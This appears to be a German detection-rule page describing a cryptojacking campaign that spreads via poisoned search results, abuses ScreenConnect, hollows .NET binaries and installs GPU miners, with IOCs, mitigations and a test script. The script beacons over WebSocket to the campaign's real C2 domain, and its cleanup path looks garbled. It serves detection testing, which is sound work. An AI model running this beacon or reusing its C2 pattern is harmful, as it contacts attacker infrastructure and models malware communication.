Von manipulierten Suchergebnissen zum GPU-Mining: Eine Cryptojacking-Kampagne mit ScreenConnect und .NET Utilities
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Diese Kampagne nutzt SEO-Vergiftung und manipulierte AI-Chatbot-Suchergebnisse, um Nutzer dazu zu verleiten, gefälschte Hardware-Überwachungstools herunterzuladen. Die trojanisierten Installer enthalten eine bösartige DLL, die in eine legitime Anwendung gelistet wird und heimlich ScreenConnect einsetzt. Angreifer nutzen dann ScreenConnect, um einen benutzerdefinierten RunPE-Dropper zu starten, der von Microsoft signierte .NET-Binärdateien aushöhlt und die nächste Nutzlast injiziert. Die letzte Phase lädt GPU-Mining-Tools herunter, wie z.B. gminer, lolMiner, und SRBMiner-MULTI, dann wird die Persistenz durch geplante Aufgaben, Registrierungsschlüssel und eine Startverknüpfung aufrechterhalten. Die Malware fügt auch Windows Defender-Ausschlüsse hinzu, um die Erkennungswahrscheinlichkeit zu verringern.
Untersuchung
Microsoft Defender Forscher haben die gesamte Infektionskette kartiert, einschließlich der DLL-Sideloading-Methode, des Missbrauchs von ScreenConnect als Fernverwaltungstool und der Verwendung eines benutzerdefinierten RunPE-Loaders namens SimpleRunPE.exe. Analysten stellten die ScreenConnect-Kommandozeilenargumente wieder her, identifizierten die Liste der signierten .NET-Binärdateien, die für Process Hollowing verwendet wurden, und dokumentierten einen Command-and-Control-Endpunkt, der mit einem festgelegten TLS-Zertifikat geschützt ist. Die Untersuchung deckte auch unterstützende Infrastruktur auf, wie z.B. bösartige Domains, IP-Adressen und DNS-Anbieterdetails, die mit der Kampagne verbunden sind.
Abmilderung
Verteidiger sollten cloudbasierte Schutzmaßnahmen aktivieren, Regeln zur Reduzierung der Angriffsfläche durchsetzen, ausführbare Dateien blockieren, die die Anforderungen an Reputation, Häufigkeit oder Alter nicht erfüllen, und Web- und Netzwerkschutz in Microsoft Defender for Endpoint aktivieren. Fernverwaltungstools wie ScreenConnect sollten deaktiviert werden, wo nicht notwendig oder streng kontrolliert werden, wo erforderlich, mit Überwachung auf nicht autorisierte geplante Aufgaben und verdächtige Registrierungsschlüssel. Alle von der Malware hinzugefügten Windows Defender-Ausschlüsse sollten sofort entfernt und die identifizierten bösartigen Domains und IP-Adressen blockiert werden.
Antwort
If RuntimeHost.exe or SimpleRunPE.exe wird in versteckten Cache-Verzeichnissen ausgeführt, isolieren Sie sofort den betroffenen Host, beenden Sie die zugehörige ScreenConnect-Sitzung und entfernen Sie alle Persistenzmechanismen, einschließlich geplanter Aufgaben, Rundschlüssel und Startverknüpfungen. Blockieren Sie die Domain minemine.gleeze.com und die beobachteten IP-Adressen, durchsuchen Sie dann das Umfeld für die aufgelisteten Miner-Binärdateien und autorun.dll. Stellen Sie schließlich die Defender-Schutzmaßnahmen wieder her und überprüfen Sie die Ausschlusseinstellungen auf nicht autorisierte Änderungen.
Angriffsfluss
Erkennungen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansehen
Schtasks zeigt auf verdächtiges Verzeichnis / Binärdatei / Skript (via cmdline)
Ansehen
Alternative Fernzugriffs- / Verwaltungssoftware (via process_creation)
Ansehen
Verdächtige CURL-Nutzung (via cmdline)
Ansehen
Rufen Sie verdächtige .NET-Methoden von Powershell aus auf (via powershell)
Ansehen
Verdächtige Änderungen in den Windows Defender-Einstellungen (via powershell)
Ansehen
Mögliche Umgehungsprüfung (via powershell)
Ansehen
Verdächtige Binärdateien / Scripts im Autostart-Verzeichnis (via file_event)
Ansehen
IOCs (HashSha256) zum Erkennen: Von vergifteten Suchergebnissen zu GPU-Mining: Eine Cryptojacking-Kampagne, die ScreenConnect und Microsoft .NET-Dienstprogramme missbraucht
Ansehen
IOCs (SourceIP) zum Erkennen: Von vergifteten Suchergebnissen zu GPU-Mining: Eine Cryptojacking-Kampagne, die ScreenConnect und Microsoft .NET-Dienstprogramme missbraucht
Ansehen
IOCs (DestinationIP) zum Erkennen: Von vergifteten Suchergebnissen zu GPU-Mining: Eine Cryptojacking-Kampagne, die ScreenConnect und Microsoft .NET-Dienstprogramme missbraucht
Ansehen
C2-Kommunikation von gehöhlter Binärdatei [Windows Netzwerkverbindung]
Ansehen
Persistenter Fernzugriff und Process Hollowing über ScreenConnect und SimpleRunPE [Windows Prozess-Erstellung]
Ansehen
Simulationsdurchführung
Voraussetzung: Der Telemetrie- & Basislinientest muss bestanden worden sein.
Begründung: Dieser Abschnitt detailliert die präzise Ausführung der Angreifertechniken (TTP), die entwickelt wurden, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer hat bereits eine gehehlte legitime Binärdatei auf das Opfersystem geliefert. Die Binärdatei initiiert nun einen persistente C2-Kanal über einen WebSocket Verbindung zuwss://minemine.gleeze.com:8443/ws. Um dies zu emulieren, verwenden wir ein PowerShell-Skript, das eine .NETClientWebSocketerstellt, optional eine benutzerdefinierte TLS-Zertifikatvalidierungsrückruffunktion setzt (ähnelt dem Zertifikat-Pinning), und die Verbindung für eine kurze Zeit aufrechterhält. -
Regressionstest-Skript:
# Simuliere C2-Kommunikation von einer gehöhlten Binärdatei # Anforderungen: PowerShell 5+ (eingebaute .NET-Klassen) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Erstelle WebSocket-Client $ws = [System.Net.WebSockets.ClientWebSocket]::new() # OPTIONAL: Erzwinge Zertifikat-Pinning (akzeptiere nur einen bestimmten Fingerabdruck) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # Platzhalter $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "Verbindung zum C2-Endpunkt $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "Verbindung hergestellt. Sende Beacon-Nutzlast..." # Sende ein Dummy-Beacon (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Halte den Kanal für ein kurzes Zeitfenster offen } finally { Write-Host "WebSocket wird geschlossen..." $ws.Abort() } -
Aufräumbefehle:
# Sicherstellen, dass alle verbleibenden WebSocket-Prozesse beendet sind Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Optional entfernen Sie temporäre Dateien, die im Test verwendet wurden Remove-Item -Path "$env:TEMPC2Simulation*" -Force -ErrorAction SilentlyContinue